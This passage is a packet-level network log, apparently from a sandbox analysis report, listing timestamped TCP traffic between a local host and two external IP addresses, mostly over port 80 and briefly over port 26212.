Sep 27, 2024 16:18:08.926496029 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:08.929538012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:08.934385061 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.284692049 CEST	49606	26212	192.168.2.6	95.179.250.45
Sep 27, 2024 16:18:09.289575100 CEST	26212	49606	95.179.250.45	192.168.2.6
Sep 27, 2024 16:18:09.289679050 CEST	49606	26212	192.168.2.6	95.179.250.45
Sep 27, 2024 16:18:09.298449039 CEST	49606	26212	192.168.2.6	95.179.250.45
Sep 27, 2024 16:18:09.303414106 CEST	26212	49606	95.179.250.45	192.168.2.6
Sep 27, 2024 16:18:09.535300970 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535331964 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535353899 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535367966 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535391092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535407066 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535420895 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535435915 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535449982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535451889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.535466909 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.535540104 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.540568113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.540622950 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.540637970 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.540669918 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.540710926 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621505976 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621534109 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621548891 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621579885 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621598959 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621671915 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621722937 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621738911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621753931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621783972 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621804953 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621881008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621902943 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.621923923 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.621936083 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.622536898 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.622553110 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.622591019 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.622611046 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.622616053 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.622631073 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.622644901 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.622675896 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.622697115 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.623404980 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.623433113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.623447895 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.623455048 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.623472929 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.623496056 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.623572111 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.623588085 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.623615980 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.623631954 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.624267101 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.624309063 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.624319077 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.624324083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.624358892 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.624372005 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.624444008 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.624456882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.624490023 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.624510050 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.626444101 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.626492977 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.626501083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.626554012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708473921 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708491087 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708506107 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708539963 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708586931 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708619118 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708633900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708647013 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708661079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708662033 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708728075 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708894014 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708909035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708924055 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.708942890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.708966017 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709033966 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709076881 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709084988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709093094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709119081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709136963 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709336042 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709351063 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709367037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709381104 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709388971 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709395885 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709410906 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709410906 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709435940 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709440947 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709460020 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709484100 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709784031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709798098 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709811926 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709826946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709841013 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709842920 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709856033 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709867001 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709872961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.709887028 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.709918976 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710251093 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710264921 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710279942 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710293055 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710299969 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710308075 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710311890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710324049 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710354090 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710372925 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710587025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710647106 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710673094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710688114 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710716963 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710736036 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710830927 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710844994 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710858107 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710870981 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.710876942 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710891008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.710922956 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.711133003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711147070 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711160898 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711175919 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711189032 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711194992 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.711204052 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711224079 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.711246014 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.711571932 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711622953 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.711632967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.711673021 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.713449955 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.713517904 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.795514107 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795541048 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795555115 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795572042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.795594931 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.795677900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795691967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795706987 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795721054 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795737028 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.795766115 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.795974016 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.795989037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796029091 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796063900 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796143055 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796158075 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796171904 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796185970 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796192884 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796200991 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796201944 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796216965 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796231031 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796235085 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796256065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796279907 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796613932 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796633005 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796648026 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796660900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796667099 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796675920 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796677113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796691895 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796695948 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796706915 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796715021 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796720028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796735048 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796741962 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796749115 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.796775103 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.796783924 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797183990 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797198057 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797211885 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797225952 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797238111 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797274113 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797460079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797475100 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797508955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797521114 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797595978 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797610044 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797622919 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797636986 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797641039 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797648907 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797652960 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797668934 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797673941 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797683954 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797698021 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797702074 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797712088 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797722101 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797727108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797740936 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.797741890 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797760963 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.797785044 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798475027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798490047 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798502922 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798518896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798521042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798532963 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798537016 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798556089 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798557997 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798569918 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798582077 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798585892 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798599958 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798609018 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798620939 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798631907 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798635960 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798650026 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798655033 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798671961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798686028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.798690081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798713923 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.798737049 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.799232006 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.799247026 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.799278021 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.799289942 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800688028 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800703049 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800718069 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800736904 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800761938 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800827980 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800877094 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800887108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800916910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800926924 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800930977 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800949097 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.800959110 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800973892 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.800993919 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801206112 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801219940 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801234961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801248074 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801249981 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801259995 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801263094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801278114 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801280975 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801292896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801307917 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801362038 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801426888 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801441908 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801455021 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801480055 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801492929 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801497936 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801507950 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801522017 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801536083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801536083 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801551104 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801568985 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801593065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801774025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801830053 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.801834106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.801872969 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882427931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882461071 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882473946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882503033 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882533073 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882620096 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882635117 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882649899 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882664919 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882669926 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882704020 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882782936 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882832050 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882834911 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882874012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882924080 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882939100 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882952929 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.882972002 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.882985115 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883002996 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883167982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883183956 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883205891 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883218050 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883219004 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883234024 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883234978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883249998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883250952 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:09.883266926 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:09.883266926 CEST	49605	80	192.168.2.6	194.116.215.195
